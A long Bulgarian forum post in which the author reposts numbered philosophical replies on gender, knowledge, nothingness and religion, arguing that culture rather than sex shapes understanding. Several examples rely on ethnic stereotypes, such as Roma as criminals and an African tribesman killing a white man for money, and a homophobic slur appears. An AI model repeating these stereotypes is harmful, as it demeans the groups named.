"Следователно женската природа е потенциално шизоидна. И не е изключено Светите братя - монасите да се окажат прави."
Това следствие на важи, защото беше направено от предпоставки, които са валидни и за двата пола, както и НЕ ЗА ВСЕКИ ОТ ТЕХНИТЕ ПРЕДСТАВИТЕЛИ. Следователно - някои хора, мъже или жени, са шизоидни, а други - не са. Колкото до монасите... Ами то има и монахини!!!
"Мъжът
не може да изпита удоволствие от жена, която го отвращава."
Може и още как. Стига да е притиснат от обстоятелства или да е пил... Зависи и отвращаващата какви УМЕНИЯ има. От опит уверявам, че една по-стара и грозна, но с :
- нежност
- умения
- страст
- такт
може доста по-качествен оргазъм да предизвика, отколкото някоя млада, красива и привлекателна, която не само се просва като дъска и чака всичко на тебе, но и се държи хладно, не знае кое какво е, и държанието й граничи с грубост.
"Неговия естетически свят е ясно дефиниран и подреден."
Не мисля така. Редовно виждам мъже, дето си сменят стила музика или минават от блондинки на брюнетки.
"Той се стреми и получава удоволствие от естетически Красивото."
Всеки се стреми към това. То си е почти оксиморон.
"От друга страна, мъжът има идеи или проект за себеосъществяване и почти всичките му избори хармонично се преплитат като букет с една обща панделка."
Да, особено, ако е накой циганин с 40 висящи дела в акция, голямо себеосъществяване и хармония преливат в тоя човек. /От това не следва, че само сред циганите се намират престъпници. Престъпността няма пол, народност, националност и раса. Просто съм дал имагинерен пример./
"От трета страна, мъжът в повечето случаи е наясно с мотивите си и проявява склонност към аналитично проследяване на тяхното разгръщане."
Да, като някои дето казват :
- Ми ни знам, бате, що крада... 'Щото нямам пари и 'щото татко краде също!...
Аналитичност на 100%. /Пародирам и давам пример с необразованите крадци./
"Следователно мъжката природа е потенциално параноидна. И не е изключено вниманието например в Платоновата академия, това взиране към собствения пол да се окаже не лишено от известни дискретни аргументи."
Е, то и самураите ги е избивало на педерастлък ("педерастия" си значи любов към момчета). Даже един от японските шогуни или императори в младините си бил известен с това, че бил нещо като Сократ, но това не доказва нищо. /Ако има заинтересувани по темата за хомосексуализма в Япония - ето линк към Уикипедия по темата: https://en.wikipedia.org/wiki/Homosexuality_in_Japan (https://en.wikipedia.org/wiki/Homosexuality_in_Japan)./
50. "Отношението на мъжа към даден предмет и на жената към същия предмет винаги е различно и като форма на отнасяне смятам е непроницаемо за другия пол."
Това е само казване... лозунг. По същия начин може да се каже (а то не е вярно), че женското око вижда зеленото като по-зелено, а мъжкото като по-малко зелено, но това е непроницаемо... Много мистически, така звучи... И няма основания, няма базис за подобни твърдения. Нали все имат мозъци, отнасят се към един и същи вид, кръвните им групи може да са еднакви, темпераментите им... и просто защото едното има различна полова система от другото и да твърдим, че естетичното им се различава... ами не е така. Естетичното да кажеш, че ЗАВИСИ ОТ НАЦИОНАЛНОСТТА е къде-къде по-така... Да речем един циганин и една циганка биха били доста по-единодушни във вкусовете си, отколкото циганин и нециганин и циганка и нециганка. /Отново пример с ромите, но то е, защото те са едно от най-познатите малцинства. Например почти никой не знае кои са каракачаните или кои са татарите в България, но сигурно няма някой/някоя, които да не знаят кои са циганите/ромите./
51. "Например селянка и селянин ще открият доста по-сходни вкусове"
Ето това и аз казвам - не полът, а културата, националността и какво ли не влияе на разбирането. /Правете разлика между "народност" и "националност", между другото./
52. Ще контрирам само с един пример от реала. На времето ходих с момиче, което след като я изненадах с цветя заяви в пристъп на яд, че не съм истински мъж аз - вместо да се интересувам "от коли и мотори" като "момчетата от компанията", аз съм пишел стихове, четял съм книги, а и сега се държа "като абсолютен педал", защото й... подарявам цветя. (Никой друг от компанията не правеше такива "педалски" работи!). Т.е. като си няма определено възпитание и култура... няма архетип, няма логотип...
(Следва...)
-
Продължавам със следващите части от философските и полуфилософските си беседи от едно време, които прехвърлям тук с необходимите редакции и допълнения.
53. /По въпрос дали някой знаел нещо, какво точно знаел и как ставало така, че го знаел./
Лесна работа.
1. Зная много неща. Накратко...зная, примерно, много китайски думички, с които, като ги произнасям и си комуникирам с китайците.
2. Как става знанието? С учене. Научаваш - знаеш. Не учиш - не знаеш.
Какво е знанието? Ами система от условни връзки/рефлекси.
Механизмите на ученето са присъщи на почти всичко живо в различна степен. Примерно кучето знае как да се прибере в дома си по даден маршрут от точка Х...
54. Language is just a tool. Well, this one is may be not the perfect one, but, the fact that there were such good philosophers born/living in Britain/USA is coming to show us that it is quite possible to do philosophy in English.
55. /За философските филмчета в youtube.com/
Браво на Ники-то!
Аз доста неща си харесвам там, особено на руски.
__________
Ето перфектно обяснение от Кураев (философ и теолог) относно защо Католическата църква не се е съгласявала с Коперник от НАУЧНА гледна точка:
http://www.youtube.com/watch?v=rPwWFGB3byw
__________
А ето и нещо интересно - ТРАДИЦИОНАЛИЗМА като философия (поне в моята учебна програма това нещо не бе преподавано, та е малко срам от Ютюба да се учим на толкова необходими неща) :
http://www.youtube.com/watch?v=kFtU8hQbUtY
___________
Ако има мераклии, следващия път - още :)
/Като се замисля може и да ми е било преподавано за традиционализма, но точно тогава да съм отсъствал. Не отсъствах честно, но кой знае. Просто трябва да съм обективен./
56. Ами хубаво. 1) Значи "куче" (българска дума, с вероятностен прабългарски произход). За да знае някой какво е кучето (поне най-общо) трябва да е учил, да са му показали за какво става дума. Иначе е същото както за някой българин от село, който за пръв път вижда питая (за който не знае - тропически плод). Ами човечецът даже може да си помисли, че това е някаква игрчка от пластмаса или... каквото там има като асоциации в Централната нервна система. Първият жираф в Китай бил наречен просто "дългошиеста сърна/елен", защото най-много им приличал на нещо като сръндак или елен... /Всъщност не знам как точно е бил наречен баш-първият жираф видях от китайците, но в днешния китайски си е "长颈鹿", което може да се преведе дословно като "дълговрат елен"./
2) Зависи от дефиницията на знанието като такова. Ако, примерно, и БЕЗУСЛОВНИТЕ, ПЪРВОСИГНАЛНИ рефлекси се водят за знание, тогава - не. Защото те са си вродени. Но, ако говорим само за УСЛОВНИТЕ, тогава няма как да стане без учене. Знаем в какво се превръща човек оставен за отглеждане на вълци, маймуни и всякакво друго животно, което има мерак за човешко дете.
3) Болката е УСЕЩАНЕ, а не е ЗНАНИЕ. Знание за болка има, но то е ВТОРИЧНО, придобито от социализацията на човека. В смисъл такъв, ако като малък са те учили, че като те боли, всъщност не те боли, а ти е приятно, дори може да станеш мазохист, който като се удари с ютията да му е хубаво...
Искам да се позова на един по-soft /от англ. "мек"/ пример - има някои хора, за които традиционен китайски масаж си е живо изтезание. Боли си, не е шега. /Като вече по-опитен в масажите искам да уточня, че зависи от масажиста или масажистката. А и винаги, ако те боли, може да им кажеш да не натискат толкова силно. Разбира се повечето не знаят чужди езици и е най-добре в Китай човек да може да говори китайски./ НО като минат на 30-40 такива процедури и вземат, че свикнат... а след година-две не могат да живеят без поне 1-2 масажа на седмица. В този смисъл БОЛКАТА е даже КВАЛИЯ, КОЯТО СЕ ИНТЕРПРЕТИРА РАЗЛИЧНО, СПОРЕД ИНДИВИДУАЛНОТО "УЧЕНЕ".
57. Абе доста китайки и те така ми викат, честно казано : "Цветя...какво да правя с тях? Следващия път виж, ако харчиш пари, да подариш нещо полезно, поне!" В този смисъл за такива хора билките, храната, пиенето са доста по-стойностен и "романтичен" подарък... Ами така са ги научили, не са виновни... /Става дума за научаването на меркантилизъм и загубата на романтичност посредством влияния от различни източници - не само родителите, но и приятелски кръг, микрообщество/околните и т. н. Темата е много обширна./
58. /За "жени, които вдигат 120 кг. от лежанка и познавам мъже, които не могат да вдигнат 50 кг."/
Ето, много хубав пример, който показва, че полът почти нищо не значи. Аз даже из Youtube гледах двубой по кик-бокс между жена и мъж... Ей, онази го размаза, не на шега!... Понякога преподавам в детски градини, знаете ли? И там МНОГО ОТЧЕТЛИВО може да се види, че всички полови предразсъдъци са смешни. Примерно:
-Не всяко момиченце е по-чисто от момченцето.
-Не всяко момиченце е кротко и мило. Леле, някои момиченца такива тупаници и мъчения раздават на момченцата, че се чудиш кой пол е "силният".
-Не всяко момченце е по-умно от момиченцата. Виждал съм момиченце, което знае повече и отговаря по-бързо от 3 момченца...
59. Абсолютно вярно. Ще дам и няколко "епистемологически" примера. Китайките /и китайците, разбира се, но тук става дума за обосноваване на тезата, че полът не е толкова важен за същността на човека/ редовно си хвалят йероглифите колко красиви/мъдри/традиционни/културни и пр. неща са това китайските йероглифи... И доколкото аз повече гледам да се срещам с жени ;) попадам веднъж на плажа на 2 тайландки, питат хората как се казвам пиша им на пясъка името си с йероглифи, те рекоха : "О, не, мерси! Не искам да гледам този сложен ужас!" LOL! :D... Отделно една татарка, от руските /по-точно от Татарстан, което е република в Русия/, когато преглеждаше списък от песни в китайски караоке-бар, типично в стила на руската култура, каза : "Китайская грамота!" (този идиом на руски значи нещо много грозно-написано). Така че няма значение, че всичките са жени - мисленето си им зависи от националността, културата, не от пола. А! Забравих и за един профил в Нета, написах на китайски, за който филипинка рече: "Олеле, колко много "драсканици" си научил, може ли да преведеш сега на нормален език?"... :) :) /За който не знае - татарите пишат на кирлица и на латиница, тайландците си имат собствена азбука, а филипинците пишат на латиница. За никой от тези народи китайските йероглифи не са свойствени./
За лежанката - според мен да вдигнеш 2 пъти 50 кила е като да вдигнеш 1 път 100. :) /И винаги съм препоръчвал на хората да правят мускули с малки тежести, отколкото да си рискуват здравето с големи./
60. Ами от частното към общото. Индукция. Отделно и дедукция - общо положение потвърждавам с РЕДИЦА частни примери. За справка - магистър по философия, набор 1975, пребивавал в Африка, Русия и в Китай, към днешна дата. Преподавател. Хем образовано, хем с опит, демек. (Точно пред колеги не обичам да се хваля, но давам инфото с оглед да не ме помисли някой за неопитен и недоучил, предвид по-свежарския ми стил на изказ). /По-конкретно - в по-специални райони на Русия и Китай също съм бил - в Татарската република на Руската федерация и в Макаовския САР на КНР./
61. "Драги Paracelsus, трябва да Ви открия, че има особена наслада в това да се обръщаш към потребител, който е баннат и не може да отговори."
Ето колко е СУБЕКТИВНО всичко. Аз пък на баннати като отговарям и ми е криво...
"Донякъде прилича на садо-мазо: все едно гледаш завързана жена в еротична поза, стоиш пред леглото и приятно се колебаеш дали да размахаш камшик, да заредиш картечница или нежно да прокараш чашката на роза по тялото й, завъртайки я така, че всяко листо да остави собствена следата. А има и друг вариант (предполагам, че никой не го е пробвал) - сядаш на стол, отваряш "Науката логика" на Хегел и започваш да четеш с възможно най-равен и спокоен глас. Последното го измислих току-що... направо се въодушевих."
Аз пък предлагам да се развърже жената, за да ни се възхити и оцени по достойнство. :) За Хегел - да, добра идея, макар че аз предпочитам Ленин. То тогава тя направо трябва и да заплати такса за безплатното и НЕОЦЕНИМО философско-диалектическо образование... Ех, представяте ли си, ако жените, както правеха секс, можеха и до една да са компетентни по Хегелово-Лениновите въпроси?... Тук споделям една своя мечта за максимално образовани хора.
"Та, скъпи Paracelsus, познаваме Ви като прагматичен човек, който постоянно пита: каква е ползата, какво ще разберем, какъв е смисъла... Но не Ви ли се струва, че ако просто констатираме: < полът не е от значение при "разбирането" > тогава сигурно някои ще останат доволни от възможността на подобна констатация, но определено няма да се прояви нищо от спецификата и механизмите на 'разбиране' при мъжа и жената"
Ама то просто НЯМА ТАКИВА. Момченцата и момиченцата ходят заедно на училище и после, НЕЗАВИСИМО ОТ ПОЛА, едни си стават учени, други си стават/остават идиоти /в по-свободния и разговорен смисъл; нямам предвид медицинския термин "идиотия", не говоря за истинска олигофрения, която се дели на идиотизъм, имбецилност и дебилност/... трети влизат в лудниците и по затворите (вкл. и ЖЕНСКИ ЗАТВОРИ, че да не си мисли някой, че жените се все добрички и милички...лелеее... в САЩ даже на електрически стол ги горят някои престъпнички... в Китай ги гърмят човешки...) /Искам да кажа, че ми се струва, че разстрелът е по-хуманен от електрическия стол, но като цяло не съм привърженик на смъртното наказание, следвайки пряко Маркс и Енгелс по въпроса. Допълвам и нещо, което научих по-късно, че в Китай вече смъртни наказания се изпълняват и с отровни инжекции, но не съм се задълбочавал по въпроса и, който го интересува да потърси повече информация лично. Ето статия по въпроса в Уикипедия, която не знам доколко е обективна: https://en.wikipedia.org/wiki/Capital_punishment_in_China (https://en.wikipedia.org/wiki/Capital_punishment_in_China)./
"още по-малко ще сме в състояние да проследим ефектите, които биха произтичали 'разбирането'."
Каквито и да са те, все са за Homo Sapiens... Същата работа и при експерименти с плъхове - женски или мъжки - никой не пита - все са плъхове... То даже на български нещо такова като дума за женски плъх няма. ;)
"Докато опростеното смесване някак затваря цели хоризонти от възможни проекции, събира нещата в точка и поставя точката с една проста констатация."
Ако това отговаря на реалността - идеално. Слагаме точката и продължаваме нататък. А, ако няма на какво друго да се постави точка... отиваме да пием бира, примерно и пак осмисляме деня/нощта. ;) :) /Това да не се приема като призоваване към пиене като единствен "смисъл" - трябва да се спортува, да се учи, да се изкарват пари. Има много смислени неща за правене в живота./
"Лично аз предпочитам мисловните ефекти на 'везната': колкото повече товариш отляво, толкова повече трябва да товариш отдясно... за да се поддържа в равновесие."
Аааа, красива, но много съмнителна традукция е това. Кой и къде е доказал, че мисловните резултати трябва да са "занулени" или равновесни? Като твърд привърженик на теорията на (творческо) отражението /творческото отражение/; на кореспондентната, за истината, мисля че АДЕКВАТНОСТТА е това, което е необходимо, най-вече.
"В такава светлина виждам въпросът за половете: да - могат да се 'разберат', не - не могат да се 'разберат'."
Въпросът е просто ИЗКУСТВЕН и НЕУДАЧЕН. Защото РАЗБИРАНЕТО не е зависимо от ПОЛА, а от ИНДИВИДА. Примерно може да ти сложат пред тебе 100 незнаещи български език камбоджанеца и разбиране - йок. И иде след малко една българка и се разбирате с две думи. :) /Пример с хора от Камбоджа. Валиден е и с всякакви други, разбира се./
62. Истината може да е и в онова, което си прочел в тишината (или шума) на своята самота, както и в това, което човек е нашепвал на човека... Но не е задължително да е само в едно от двете. Примерно някои векове са нашепвали, че Земята е плоска /за съжаление и днес има хора, които сериозно вярват в това, въпреки всякакви научни доказателства, че това не е вярно/, тя пък си била през цялото време сферична (по-точно ГЕОИД). Отделно хората като нашепват, че 2+2 е 4, си е правилно и, ако някой сам открие, че е 100 или 48, няма да е правилно.
(Следва...)
-
Не е малко материалът, та ето, продължавам със слагането му тук за 4-ти път.
63. " се създават нови понятия, нараства броя, прецизират се, стават все по-сложни; т.е. новите форми, в които може да бъде поставено същото съдържание имат все по-добри възможности, които многократно надхвърлят оригиналната форма. "
Ами то подобно нещо става и с математиката, примерно. Иначе не отричам, че философията не е само наука, но е и над-наука. Просто науката и философията може да се считат за две различни форми на културата, в която също има и религия, да речем. 1. Наднаука. 2. Културата приемана като съставена от наука, философия, религия...
"Взаимното движение на съдържанието, което се стреми да изпълни формата и на формата, която се стреми да обхване съдържанието... е направо секс!"
Браво, то така и един от класиците на Марсизма беше писал в писмо до свой приятел - "Вие като наскоро женен човек ще ме разберете какво имам предвид като говоря за единство на противоположностите." ;) /Цитатът е по спомен и по смисъл./
"Ако някой твърди, че в разума отсъстват същите начала, които - по различен начин - откриваме биологично представени в двата пола: значи или се е разминал с философията, или не му се е случвал качествен секс, или ще-не-ще трябва да приеме възможността за едновременното присъствие на Анима и Анимус като фундаментална свойственост в половете."
Ами именно. Анима-Анимус, мъжко-женско са неделими, а на ниво РАЗУМ са даже НЕПРИСЪСТВАЩИ или СЛЯТИ-В-ЕДНО. Примерно като четеш някакъв текст, където някой си пише: "Аз мразя комунистите!" /Има доста комунистофоби из интернета, затова и се сетих за такъв пример. Иначе аз съм си комунистофил./ по никакъв начин не можеш да разбереш (особено, ако е на език, където няма мъжки-женски род), дали мразещият комунистите е мъж или е мразеща жена. Говорим си за политически убеждения. Ами същото е и с "Аз обичам бира." Кажи ми мъж ли го е казал или жена? Ами и жени има дето обичат бира, и мъже. А има и такива, които предпочитат вино. Последен пример: "Като се надрусам и ми е много яко!" Наркоман ли го е казал или наркоманка? От жената, както и от мъжа става АБСОЛЮТНО ВСИЧКО - войник, курва/курвар, проститутка/жиголо, лекар, таксиметров шофьор. Различията са предмет на култура. Примерно, ако някъде решат да учат мъжете да плетат, а жените да орат с воловете на полето, след 2-3 поколения всеки ще си мисли, че няма по-мъжка работа от това да изплетеш едни терлички на внучето и няма по-еротично от това за един "истински мъж", между две плетки на терлици, да погледа как кака Мара-орачката се поти с два вола под жегата по прашки... Всичко е относително.
И, с извинения за малкото отклонение, четох книга как Достоевски правил комплимент на една: "Имате прекрасни цигански очи!"... Сети се какво ще си помисли и как би реагирала някоя българка днес да й кажеш, че има прекрасни ЦИГАНСКИ очи... /Предвид големия процент на ромофобия (циганофобия) сред българите/българките. Иначе, не отричам, че има и малка част ромофили/циганофили, както и някаква част с неутрално отношение към циганите (ромите)./
И конкретно - /видеото е премахнато, цитирам "Video unavailable
This video has been removed for violating YouTube's Terms of Service." Не си спомням добре какво е било точно това видео, което съм давал като линк/връзка, но предвид написаното по-долу, мисля че беше бой в някакво училище заснет, при който се биеха момичета./
(За който си мисли, че жените не са агресивни или нещо от сорта. Върл бой на момичета от братска Чувашия по повод на "Ти що си излизала с него, ма?!") :D
"не може да се определи устойчиво и еднозначно кое прилича на мъжкото и кое на женското начала."
Ами защото просто НЯМА ТАКИВА. Бебето до 3-я месец е безполово, а после от едни и същи структури се развива или клитор или пенис, или мъдна торбичка или срамни устни. А като се роди хермафродитче съвсем ясно и отчетливо се вижда как видът е важното, а не пола. Човекът си е човек, лъвът си е лъв. Общо взето едно и също се случва като лъв срещне жена или като лъвица срещне мъж. И като фен на Валери Динев не мога да не си позволя етологичното отклонение, че, вярно, при лъвовете по-активни и ловуващи са женските, така че мъж срещнал лъвица е малко по-опасно от жена срещнала лъв, щото просто мъжките лъвове по-често спинкат и мързелуват. То и при хората така беше и си остава и до днес в някои патриархални общества :) ;)
"До колкото ми е известно, на Изток има учения, които поддържат, че това е така, аз лично бих се доверил, но все пак това не изключва и горното."
Прав си. Има. Древни учения. Съвременните "учения" на Изток се свеждат основно до нещо много подобно на това в България, която не е баш на Изток - "Искам да имам пари... Търся си богат да се оженя... Как може човек да не работи, а да има пари и да си доставя удоволствия?"... Както виждаш страшна "дълбочина" на Източната философска "рефлексия" в ежедневното съзнание се наблюдава, което понякога ме води до "страхотно духовно обедняване" (цитат от Юен Биао, от филма "Завинаги дракони")... /Хем критикувам меркантилността у много от днешните източни хора, хем и казвам, че не всеки източен човек е последовател/последователка на древните си учения. Някои даже не ги знаят тези учения./
(Следва...)
-
Продължавам сега. Не е лесно да се намери време за отредактиране и постване на тези мои отговори от преди години...
64. "Ами да, аз пиша като Енгелс - хем мъдро, но хем и хумористично, за да им е приятно на хорицата не само на ума, но и на настроението. ;) :)
" Те обстрелват сградата, небето потъмнява от стрели. Един велик войн вътре, вместо да извади оръжието, в този момент рисува йероглиф. Вглъбен в това което прави, невъзмутим той не забелязва стрелите и под звуците на много добра музика сякаш танцува с четката. Тук не си спомням добре, май на йероглифа пишеше: "Всички под небето" и беше предназначен за императора."
Ами да. Така ги правят те филмите в Китай. Не е като в Русия, примерно... В последните години, обаче изгледах доста руски филми и мисля, че качеството на руското кино задобрява, а също и, че по принцип не е било никога съвсем зле. Всъщност ето ти антипода на това, за което говориш, гарантирам, че ще се посмееш, както и, че ще извлечеш много психологически и философски поуки :
(откъсът си струва!)
/За съжаление видеото вече не е налично. Цитирам: "Video unavailable
This video has been removed for violating YouTube's Terms of Service."/
*********
" За мъжът беше по-важно голямото, абстрактното. А за жената - малкото, онова което за нея е досегаемо. "
Същата работа като с някоя жена като Маргарет Тачър и някой мъж като бай Хасан...То от пола не зависи това.
"Мъжът е способен на благородство, може да постави себе си в служба на цялостта, а жената - не. "
Да-да! Твърдо против. Вземи някой крадец на дребно от "Красна поляна" и майка Тереза. Или пък Беназир Бхуто и някоя мутра... Няма "жена-мъж" тука. Има морален-неморален субект.
"Отказът на мъжа от личното е в името на цялото. При жената това не е възможно, нейният отказ от личното (разбирай личния свят: дом, бит, деца...) е като при животните - тя решава да не навлиза в чужда територия."
Ех, де да беше вярно... Ако знаеш колко жени навлизат в чужди територии и после развалят семейства... :( /Виждал съм и много боеве между жени-съпруги и жени-любовници по телевизия, из интернета.../
"В източна перспектива мъжката аскеза е отдръпване от личния свят и посвещаване на 'всеобщото'. Женска аскеза няма"
Женски манастири и жени-монахини има, ако става дума за това. Монахът си е монах, независимо от пола. Сексуално-активното си е сексуално-активно, пак независимо от пола.
"Това с "балансирането на везната" не е случайна работа. Аз съм натраплив ценител на женската красота, изтънчен естет с високи стандарти, мога да кажа и изкусен практик - само до границата на телесните чудеса, сътворени от природата. В духовните измерения мястото е свободно за Светите братя - монасите."
Много идеалистично гледаш на жените. Я малко да те приземя, с най-добри чувства, разбира се - все пак сме колеги, а и си един от малкото, които имат нервите да ме четат :)
Заповядай :
http://www.youtube.com/watch?v=wk-JL8g6IlQ&NR=1
(12 секунди е само, но приземява добре идеалистите-естети. ;) ) /С пълното съзнание, че е имало и все още има на някои места по Земното кълбо хора, които смятат свръхпълнотата, болестното затлъстяване, за привлекателно./
65. "Иначе звучиш много хубаво. В стил: вдигни фереджето, нека слънцето види колко е хубаво лицето ти - няма разлики, няма граници, нека бъдем себе си... всичко е свобода."
Просто гледам на нещата диалектически-материалистично. Никакви идеализми, никакви над-ценяванки, под-ценяванки на пола, че иначе стават големи грешки на всякакво ниво.
"До колкото познавам потребителят Paracelsus, тя е толкова съгласна с еклектиката по въпроса, че направо чувам въздишката й."
А ето, аз даже си мислех, че Парацелз е мъж... Както казах - умът пол няма.
"Но помисли: ето един пресен пример, на тази страница. Paracelsus е Casiopeq, с нея имах удоволствие да разменя няколко реплики по-преди. При странни стечения на обстоятелства Casiopeq бе банната и се преименува на Paracelsus. В голяма скоба трябва да отбележа, че това ме впечатли: виждам ново амплоа, не е просто смяна на името, а наистина амплоа - с нови интенции, нови визии, нови търсения... истинска еволюция пред смаяния ми поглед. "
Ами именно. Една жена може да бъде и "Добрата фея" и "Злата вещица"... Може да носи както рокля, така и панталон... Няма никакви граници.
"Само че, леля Casiopeq не отиде в математическия факултет и не попита: кой тук отговаря за сървъра? Ако го беше направила, вероятно някой докторант плахо щеше да отговори: "аз" и можеше да му бъде зададен въпрос: ти какво кафе пиеш, ще отида да ти взема едно и после ще ми отговориш на въпросът - така и така, баннаха ме в един сайт, аз обаче искам пак там, какво трябва да се направи?"
Ами явно не е такъв тип човек (това, което предлагаш е както мъжко, така и женско поведение. Зависи от типа на ЛИЧНОСТТА... ВСЪЩНОСТ нали се сещаш и, че 4 основни темперамента СЪЩО НЯМАТ ПОЛ. Примерно някой мъж може да е флегматик, а някоя жена холерик и да го потрошава от скандал, че и да го понатупва, както и обратно...)
"И като истинска жена, образно казано, Casiopeq реши да смени горнището на анцунга с вечерен тоалет, но... пак си е по гуменки. искам да кажа, че мъжът поначало е склонен да събира всякаква информация, докато жената в повечето случаи предпочита просто да извади кутийката с гримове."
А, събира той... Ако е в някое племе от Африка, най-много да събере малко плодове или да пречука някой бял, че да му вземе доларите.../Говоря хипотетично. Не всеки, дори и да е от племе, би бил убиец. Примерът може да се даде и с Австралия, САЩ, Япония - навсякъде има хора, които не събират информации, не се учат, а предпочитат лесния и/или престъпен начин на живот./ Няма ли образование и МОДЕЛИ НА ПОВЕДЕНИЕ (ДОБРИ МОДЕЛИ НА ПОВЕДЕНИЕ; ДОБРИ ПОВЕДЕНЧЕСКИ МОДЕЛИ), не се надявай полът да го спаси...
66. Относно "Христос възкръсна!" и защо да не опитаме и ние:
То първо не е доказано, че е възкръсвал. Това е не повече от мит. Още повече има ВЕЛИКОЛЕПНИ МЕХАНИЗМИ, ако наистина те има, СИ СИН-БОГ и пр., да кажеш на хората : "Ето ме, тук съм, наистина ме има, вЕрвайте в мен!"... Нали, все пак, това е целта на вярата? Да, ама изглежда човекът си е умрял и го няма вече или, просто, тогава е бил в клинична смърт, после се е освестил и вярно са го видели, а той, като защитник на някаква своя теза няма да каже "Абе аз бях поизгубил малко съзнание, но се оправих!", а ще претендира, че е възкръсвал. А може и вярно да си е вярвал, че е възкръснал. То по онова време понятия за клинична и биологна смърт не е имало... Не се знае нищо. Така че твърдението "Исус возкресе!" има същата научна стойност, колкото това, че "Преди Буда беше делфин, но после се прероди като човек."... "Макароненото чудовище", нали се сещате?
67. Табу = религиозност. Философия = научност, свбода на мисълта. Философия с табута не е напълно функционална.
68. Това "нищо" много топ-тема се явява във форума. Да помислим...
1) "нищото не е логически порядък"
Нищото, ако сме честни и нормални хора, ще го мислим именно като самото него си, т.е. като НУЛА, като ОТСЪСТВИЕ, като НЕПРИСЪСТВИЕ... В този смисъл то не може да е НЕЩА от типа на ПОРЯДЪЦИ, ЛОГИКО и, още повече, комбинации от тях като ЛОГИЧЕСКИ ПОРЯДЪК...
2) "а фундаментално отрицание на всеобщността на биващото."
Защо на всеобщността на биващото? То си е отрицание, неналичност на ВСИЧКО, не просто на биващото и на всеобщността му. Е, ако в твоето съзнание ВСЕОБЩНА БИВАЩОСТ = ВСИЧКО, тогава сме на едно мнение.
3) "Не е отрицание,нито е унищожение,а едно изначално онищяване от страна на самото нищо.
"
Тука вече ми се напомня на субективния език на Александър Андонов, който е пречка за много хора да разберат какво точно има предвид този човек. А истинският философ трябва да е ЯСЕН, а не НЕЯСЕН на хората, нали така? Но да поразсъжадваме, все пак, понеже и ние не сме с нещо по-лоши от господин Андонов (нямам много против този човек, просто си запазвам негациите срещу стила му на изказ)...
а) Не е отрицания. Не е, ама може и да е. В определени смислови контексти като се казва "нищо" си е доста отрицание.
б) Не е унищожение. Ами не е. То си е нищо. За да унищожиш се нуждаеш от РЕСУРСИ, а в нищото ресурс по дифолт (а приори) няма.
в) Изначално онищяване. И ОТ КАКЪВ ЗОР? Нищото си е ПУСТОТА, НЕПРИСЪСТВЕНОСТ. В този смисъл то не може да прави такива РАДИКАЛНИ АКТОВЕ КАТО ОНИЩЯВАНЕ. "Онищяване" е глагол (пък било то и неологизъм /философски неологизъм/), който предполага и отразява някакъв ЕКШЪН, ДЕЙСТВИЕ, АКТОВОСТ... Колкото до изначалното... ами то всяка дума си е изначална. А във физически смисъл, наистина, може отначало да е нямало нищо, но по-скоро е имало, според теорията за сингулярността. /Все "нещичко" е имало, така да се каже./
------------
"В този ред на мисли съм убедена,че мисленето е полезно ограничително условие при всеки категориален анализ."
Ами така си е. Без граници и ограничения става хаотичност, неподреденост и нещата направо отиват на майната си!... ОБАЧЕ, КАТЕГОРИАЛНИЯТ АНАЛИЗ Е ЧАСТ И ПРОДУКТ НА САМОТО МИСЛЕНЕ!
"Битие и небитие,нещо и нищо са рамка на всяко мисловно усилие."
АМИ, МИЛА, ТО ДРУГО НЯМА КАКВО ДА Е РАМКА...ВСИЧКО ОСТАНАЛО Е ПО СРЕДАТА МЕЖДУ НАЛИЧНО И НЕНАЛИЧНО, ИМАЩО И НЯМАЩО /имащо го и нямащо го; съществуващо и несъществуващо/ и пр. Тоест, това си е нещо естествено и едва ли може да е откритие. Какво беше казал Кант за аналитичните и синтетичните съждения?
69. "Интересно е това. Ето малко мисли:
Ти пишеш в предишния постинг, че "знаеш, примерно, много китайски думички" а в следващия пишеш, по повод илюстрацията с думата "куче"
"За да знае някой какво е кучето ..." бла бла бла."
Да. Няма противоречие до тук.
"По това. Ако ще изясняваш какво означава да знаеш думата "куче" не става да изясниш какво значи да знаеш "какво е куче", което е много различно от това да знаеш куче (като онова, дето го обозначава думата "куче", откъдето всъщност тръгна цялата кучерия)."
Думите обозначават определени обекти /в най-широк смисъл на понятието "обект", а не в строгия му линвгистичен смисъл/. Ако знае някой значението/смисъла (няма да правим дистинкции в случая) на дадена дума, ДАЖЕ И ДА НЯМА В ПРАКТИЧЕСКИЯ СИ НАГЛЕД обозначаемото, ще го знае. Примерно ако обясня нагледно какво е ПАПАЯ-та /"папая" като плод/, после всеки, който я види, ще разбере, че е папая и ще си я хапне с кеф (предполагам)..., а няма да прояви незнание и да я ползва за някакви неадекватни цели в човешкото си битие.
"Да те боли е едно (усещане) да знаеш че те боли (знаене) е друго."
Точно това исках и аз да се разбере. Първа и Втора сигнална система. Има си разлики!
"Та аз като дадох примера, може би не си обърнал внимание ама пишех за знание а не за усещане. Та твоето (3) не е на място като обяснение."
Подкрепям си мнението по повод това за ютията. И пак ще кажа - можеш да УСЕЩАШ БОЛКАТА, но, ако НЕ СИ УЧИЛ КАКВО Е БОЛКА, няма как да ЗНАЕШ. ЗНАНИЕ идва от УЧЕНЕ. Нали затова има училища, университети. Практиката показва, че без учене няма знание... /ученето може да става и извън училища, институти, университети, школи и т. н., разбира се, но ученето е необходимото условие за знанието./
"Та аз още си седя и се чудя какво е да знаеш ... :)"
Да знаеш е да имаш отражение на действителността на дадения предмет /в най-широк смисъл казано, защото не всичко е предмет във физическия смисъл - някои неща са явления, други са действия и т. н./, на неговата същност. А според Ленин знанието почти никога не може да е пълно, понеже хората опознават нещата постепенно. Същността от първи порядък, същността от втори порядък... И това се дължи както на ограничеността на сетивата, така и на ограничеснотта на ума, както и на научно-техническата база. /Знанието може да прогресира, но може и да регресира. Това зависи от степента и посоката на развитие или упадък на човечеството и на конкретните човешки индивиди. В животинския свят също има, макар и ограничено, развитие на знанието - например при шимпанзета, горили, орангутани и др. може да се говори за знания./
70. Не помня по какъв повод, но като цяло е полезно съждение, добър съвет, според мен:
Правилно. Не губи време с такива несигурни неща. Животът е кратък и като такъв, нали, е редно да се оползотворява в собствена и/или обществена полза (някои се отдават и на защита на животни, растения, и пр.) В тоя смисъл, изхождайки от пирамидата на Маслоу, хич не е гот втори път да опитваш там.
71. Полезен офтопик:
Хайванче = тюркско-българска дума:
а) НЕ САМО на турски, но и на татарски (с редуцирано "х") значи "животно". /Сигурно и на много други езици./
б) "-че" е умалителна частица, с вероятностен прабългарски произход. (На други тюркски езици - чък, -джък, -шък, -джик).
Т.е. никът значи "животинче".
